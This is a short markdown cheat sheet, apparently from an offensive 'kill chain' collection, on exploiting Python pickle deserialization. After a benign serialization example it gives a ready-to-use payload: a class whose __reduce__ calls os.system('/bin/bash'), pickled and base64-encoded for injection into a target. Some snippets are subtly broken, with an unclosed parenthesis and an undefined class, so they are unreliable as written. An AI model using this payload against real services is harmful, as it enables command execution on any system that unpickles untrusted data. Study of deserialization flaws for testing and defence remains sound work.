killchain-compendium/Exploits/Python/Pickle.md

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# Pickle
Serializes a Python object into a byte stream an back.
When sending pickled data through a network do base64 encoding first to prevent
special characters to do something unexpected.
```python
import pickle
import base64
text = "Hello, World!"
pickled = pickle.dumps(text)
send_data = base64.b64encode(pickled)
receive_data = base64.b64decode(send_data)
unpickled = pickle.loads(pickled)
```
## Payload
The following payload can be injected into a pickled object.
```python
import pickle
import os
import base64
class evil_object(object):
def __reduce__(self):
return(os.system, ('/bin/bash',))
x = evil_object()
y = pickle.dumps(x)
base64.b64encode(y)
```
* Dump serialized object via
```python
pickle.dump(SerializedPickle(), open('pickled.out', 'wb')
```